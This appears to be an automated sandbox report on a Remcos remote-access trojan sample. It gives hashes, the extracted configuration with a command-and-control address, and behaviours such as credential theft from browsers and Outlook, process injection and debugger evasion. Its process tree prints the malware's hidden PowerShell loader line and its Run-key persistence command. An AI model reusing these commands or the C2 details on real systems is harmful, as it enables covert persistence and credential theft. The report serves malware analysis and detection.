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Analysis
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max time kernel
148s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02/10/2024, 13:28
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
$WINDIR/compromis/overcheaply.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$WINDIR/compromis/overcheaply.ps1
Resource
win10v2004-20240802-en
General
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Target
file.exe
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Size
516KB
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MD5
b60c1b642765e2156730e910dbbed55a
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SHA1
e0bc18e19d753f1a09611416c8fea46d3453aac7
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SHA256
4e11fd9ebcd710646c1c685691837f3e2d4983e9232279ece12a6db9be569ba1
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SHA512
f9bca6ca4cf5f5f06faf58afa65e16897eabe40f981508d6225880d94a629675c834159a31cfaad28bf04003b949d8b054e5b8194b1211f8dc9cdfb9274f21d2
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SSDEEP
12288:7813Q9hg+AKfsc/5a+NCGO1UA/DEkINz3WSV/:78lQ96+YcAvwygNz31
Malware Config
Extracted
remcos
Rem_doc2
107.173.4.16:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-DSGECX
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Detected Nirsoft tools 8 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/3420-90-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/1996-102-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/1996-100-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/748-99-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/1996-97-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/748-88-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/3420-87-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/748-111-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/3420-90-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral2/memory/3420-87-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 3 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/748-99-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/748-88-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/748-111-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3252 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation unpastor.exe -
Executes dropped EXE 3 IoCs
pid Process 748 unpastor.exe 3420 unpastor.exe 1996 unpastor.exe -
Loads dropped DLL 1 IoCs
pid Process 4680 unpastor.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts unpastor.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lecythoid = "%Ajowan% -windowstyle 1 $schillingenes=(gp -Path 'HKCU:\\Software\\Careening\\').Fremlejers;%Ajowan% ($schillingenes)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4680 unpastor.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3252 powershell.exe 4680 unpastor.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4680 set thread context of 748 4680 unpastor.exe 104 PID 4680 set thread context of 3420 4680 unpastor.exe 105 PID 4680 set thread context of 1996 4680 unpastor.exe 106 -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\omdigtendes.udd file.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\Fonts\knytt\Ballistics.mus file.exe File opened for modification C:\Windows\resources\villan\Knastakslerne.ini file.exe File created C:\Windows\brandbombernes.lnk file.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language unpastor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language unpastor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language unpastor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language unpastor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language file.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4892 reg.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 3252 powershell.exe 748 unpastor.exe 748 unpastor.exe 1996 unpastor.exe 1996 unpastor.exe 748 unpastor.exe 748 unpastor.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 3252 powershell.exe 4680 unpastor.exe 4680 unpastor.exe 4680 unpastor.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3252 powershell.exe Token: SeIncreaseQuotaPrivilege 3252 powershell.exe Token: SeSecurityPrivilege 3252 powershell.exe Token: SeTakeOwnershipPrivilege 3252 powershell.exe Token: SeLoadDriverPrivilege 3252 powershell.exe Token: SeSystemProfilePrivilege 3252 powershell.exe Token: SeSystemtimePrivilege 3252 powershell.exe Token: SeProfSingleProcessPrivilege 3252 powershell.exe Token: SeIncBasePriorityPrivilege 3252 powershell.exe Token: SeCreatePagefilePrivilege 3252 powershell.exe Token: SeBackupPrivilege 3252 powershell.exe Token: SeRestorePrivilege 3252 powershell.exe Token: SeShutdownPrivilege 3252 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeSystemEnvironmentPrivilege 3252 powershell.exe Token: SeRemoteShutdownPrivilege 3252 powershell.exe Token: SeUndockPrivilege 3252 powershell.exe Token: SeManageVolumePrivilege 3252 powershell.exe Token: 33 3252 powershell.exe Token: 34 3252 powershell.exe Token: 35 3252 powershell.exe Token: 36 3252 powershell.exe Token: SeDebugPrivilege 1996 unpastor.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3968 wrote to memory of 3252 3968 file.exe 89 PID 3968 wrote to memory of 3252 3968 file.exe 89 PID 3968 wrote to memory of 3252 3968 file.exe 89 PID 3252 wrote to memory of 4680 3252 powershell.exe 99 PID 3252 wrote to memory of 4680 3252 powershell.exe 99 PID 3252 wrote to memory of 4680 3252 powershell.exe 99 PID 3252 wrote to memory of 4680 3252 powershell.exe 99 PID 4680 wrote to memory of 2792 4680 unpastor.exe 100 PID 4680 wrote to memory of 2792 4680 unpastor.exe 100 PID 4680 wrote to memory of 2792 4680 unpastor.exe 100 PID 2792 wrote to memory of 4892 2792 cmd.exe 102 PID 2792 wrote to memory of 4892 2792 cmd.exe 102 PID 2792 wrote to memory of 4892 2792 cmd.exe 102 PID 4680 wrote to memory of 748 4680 unpastor.exe 104 PID 4680 wrote to memory of 748 4680 unpastor.exe 104 PID 4680 wrote to memory of 748 4680 unpastor.exe 104 PID 4680 wrote to memory of 3420 4680 unpastor.exe 105 PID 4680 wrote to memory of 3420 4680 unpastor.exe 105 PID 4680 wrote to memory of 3420 4680 unpastor.exe 105 PID 4680 wrote to memory of 1996 4680 unpastor.exe 106 PID 4680 wrote to memory of 1996 4680 unpastor.exe 106 PID 4680 wrote to memory of 1996 4680 unpastor.exe 106
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Enhedens=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\overcheaply.Dum';$Citronsommerfuglen=$Enhedens.SubString(7497,3);.$Citronsommerfuglen($Enhedens)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Users\Admin\AppData\Local\Temp\unpastor.exe"C:\Users\Admin\AppData\Local\Temp\unpastor.exe"3⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lecythoid" /t REG_EXPAND_SZ /d "%Ajowan% -windowstyle 1 $schillingenes=(gp -Path 'HKCU:\Software\Careening\').Fremlejers;%Ajowan% ($schillingenes)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lecythoid" /t REG_EXPAND_SZ /d "%Ajowan% -windowstyle 1 $schillingenes=(gp -Path 'HKCU:\Software\Careening\').Fremlejers;%Ajowan% ($schillingenes)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4892
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C:\Users\Admin\AppData\Local\Temp\unpastor.exeC:\Users\Admin\AppData\Local\Temp\unpastor.exe /stext "C:\Users\Admin\AppData\Local\Temp\vcowndrhmzkzsvwkzeqxltckalkt"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:748
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C:\Users\Admin\AppData\Local\Temp\unpastor.exeC:\Users\Admin\AppData\Local\Temp\unpastor.exe /stext "C:\Users\Admin\AppData\Local\Temp\xwtpovbjahcevjsoipdrwgptiscbxcyv"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:3420
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C:\Users\Admin\AppData\Local\Temp\unpastor.exeC:\Users\Admin\AppData\Local\Temp\unpastor.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzhz"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4452,i,15336851255456239337,16379811035920490645,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:81⤵PID:228
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
516KB
MD5b60c1b642765e2156730e910dbbed55a
SHA1e0bc18e19d753f1a09611416c8fea46d3453aac7
SHA2564e11fd9ebcd710646c1c685691837f3e2d4983e9232279ece12a6db9be569ba1
SHA512f9bca6ca4cf5f5f06faf58afa65e16897eabe40f981508d6225880d94a629675c834159a31cfaad28bf04003b949d8b054e5b8194b1211f8dc9cdfb9274f21d2
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Filesize
4KB
MD5cda83eba5a004554ccdc061fd3df499c
SHA158ff2ecb9d47be10335e104896c87c62dc328523
SHA256e384f4d46587646c6e0f9d2ee90b7bc57b49cea936b37cf8ab81ef3c4ce468ac
SHA512f55ce20f0cf8b603fad765b889607f967c22d377fa4ac417ba1309d0aced9231e197bb4107d1c92bb99f51c04cc68ce26148727a8b694886710100c01f3de597
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C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Operationssygeplejerskers.Afh
Filesize301KB
MD583a716c7db53f1bc1519863863f3ad03
SHA1c4f3dc4f9db365a1ee5248ec55cff29bad1dab15
SHA256ef637bbc6c96255229aba75d076a347e7a7d44a81b7464db30f8d3c081ba2116
SHA5121b8f0fb20374c635fc19e982f0f4b51a096a3b60b2045dae475a20ac7d27be289ecf306714fa2ff8d9d1504ea359505f4376d0cf0ac5b2dd35d63116a5d8f817
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Filesize
54KB
MD55700ab6572287746a87ecdba691baf79
SHA15885062f3e65fe332bcf2077bc25323139e60b18
SHA256e3916adcdcff1f166a6bcd0487b2d725131d275190459841dcd77d869e8f707a
SHA5127a95bb5aee211653b556da9416709d418c77600c561ed7b5af11b559d5052170b2c93ef8e1c70e14536da01b6ac050f5feba81d04784f232cf54ad92db70b106